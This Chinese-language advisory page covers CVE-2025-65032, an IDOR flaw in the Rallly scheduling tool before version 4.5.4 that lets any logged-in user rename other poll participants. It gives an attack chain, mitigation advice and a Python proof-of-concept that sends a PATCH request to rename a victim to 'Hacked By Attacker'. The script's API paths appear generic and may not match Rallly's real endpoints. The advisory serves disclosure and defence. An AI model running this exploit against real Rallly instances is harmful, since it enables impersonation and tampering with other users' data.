IPBUF安全漏洞报告
English
CVE-2025-65032 CVSS 6.5 中危

CVE-2025-65032 Rallly IDOR漏洞允许修改其他用户显示名称

披露日期: 2025-11-19

漏洞信息

漏洞编号
CVE-2025-65032
漏洞类型
IDOR (不安全的直接对象引用)
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Rallly

相关标签

IDORRalllyCVE-2025-65032Web应用漏洞访问控制API安全数据完整性

漏洞概述

Rallly是一个开源的日程安排和协作工具。在4.5.4版本之前,存在一个不安全的直接对象引用(IDOR)漏洞,允许任何经过身份验证的用户通过操纵participantId参数来修改投票中其他参与者的显示名称,而无需具备管理员或投票所有者权限。该漏洞CVSS评分为6.5,属于中等严重程度,攻击复杂度低,无需用户交互即可被利用。攻击者可以利用此漏洞冒充其他用户或制造混乱,破坏数据的完整性和用户信任。虽然该漏洞不影响机密性和可用性,但会对系统的完整性和用户身份验证机制造成严重威胁。攻击者只需注册一个普通账户,即可对平台上任何投票中的其他用户实施攻击。此问题已在4.5.4版本中得到修复,建议所有用户尽快升级以消除安全风险。

技术细节

漏洞存在于Rallly的重命名API端点中,服务端在处理用户显示名称修改请求时,直接使用客户端提供的participantId参数来定位目标用户对象,而没有验证当前认证用户是否有权限修改该对象。具体来说,当用户发起重命名请求时,API仅检查用户是否已登录(PR:L),但未验证请求中的participantId是否属于当前用户或当前用户是否有权修改该participantId对应的显示名称。攻击者可以通过拦截正常的重命名请求,将participantId替换为其他投票参与者的ID,服务端便会直接修改目标用户的显示名称。由于API缺乏对对象所有权和授权的验证,攻击者可以实现对任意用户显示名称的篡改,这在多人协作场景中可能导致严重的身份冒充和信息混淆风险。

攻击链分析

STEP 1
步骤1
攻击者注册Rallly账户并登录系统,获取有效的认证令牌
STEP 2
步骤2
攻击者访问目标投票页面,获取投票ID和参与者列表,识别目标用户的participantId
STEP 3
步骤3
攻击者构造重命名请求,将participantId参数设置为目标用户的ID,而非自己的ID
STEP 4
步骤4
服务端接收请求后,仅验证用户已登录,未检查participantId的合法性,直接执行名称修改操作
STEP 5
步骤5
目标用户的显示名称被成功篡改,攻击者实现身份冒充或信息混淆攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-65032 IDOR PoC - Rename other users' display names # Target: Rallly < 4.5.4 BASE_URL = "https://your-rallly-instance.com" # Step 1: Login to get authentication token def login(username, password): session = requests.Session() login_data = {"email": username, "password": password} response = session.post(f"{BASE_URL}/api/auth/login", json=login_data) return session, response.json().get('token') # Step 2: Get poll ID and participants list def get_poll_info(session, poll_id): headers = {"Authorization": f"Bearer {session.headers.get('Authorization')}"} response = session.get(f"{BASE_URL}/api/polls/{poll_id}", headers=headers) return response.json() # Step 3: IDOR - Modify other user's display name def idor_rename(session, poll_id, target_participant_id, new_name): headers = {"Authorization": f"Bearer {session.headers.get('Authorization')}"} rename_data = { "participantId": target_participant_id, # IDOR: Can be any participant ID "name": new_name } response = session.patch( f"{BASE_URL}/api/polls/{poll_id}/participants/{target_participant_id}", json=rename_data, headers=headers ) return response # Main execution session, token = login("[email protected]", "password123") session.headers.update({"Authorization": f"Bearer {token}"}) poll_id = "target-poll-id" target_participant_id = "victim-participant-id" # IDOR vulnerability new_display_name = "Hacked By Attacker" response = idor_rename(session, poll_id, target_participant_id, new_display_name) print(f"Status: {response.status_code}") print(f"Response: {response.text}")

影响范围

Rallly < 4.5.4

防御指南

临时缓解措施
如果无法立即升级,可通过配置Web应用防火墙(WAF)规则限制对API端点的访问,或暂时禁用重命名功能。同时应监控异常的API请求模式,及时发现和阻止潜在的攻击行为。建议用户尽快升级到4.5.4版本以彻底消除该安全风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表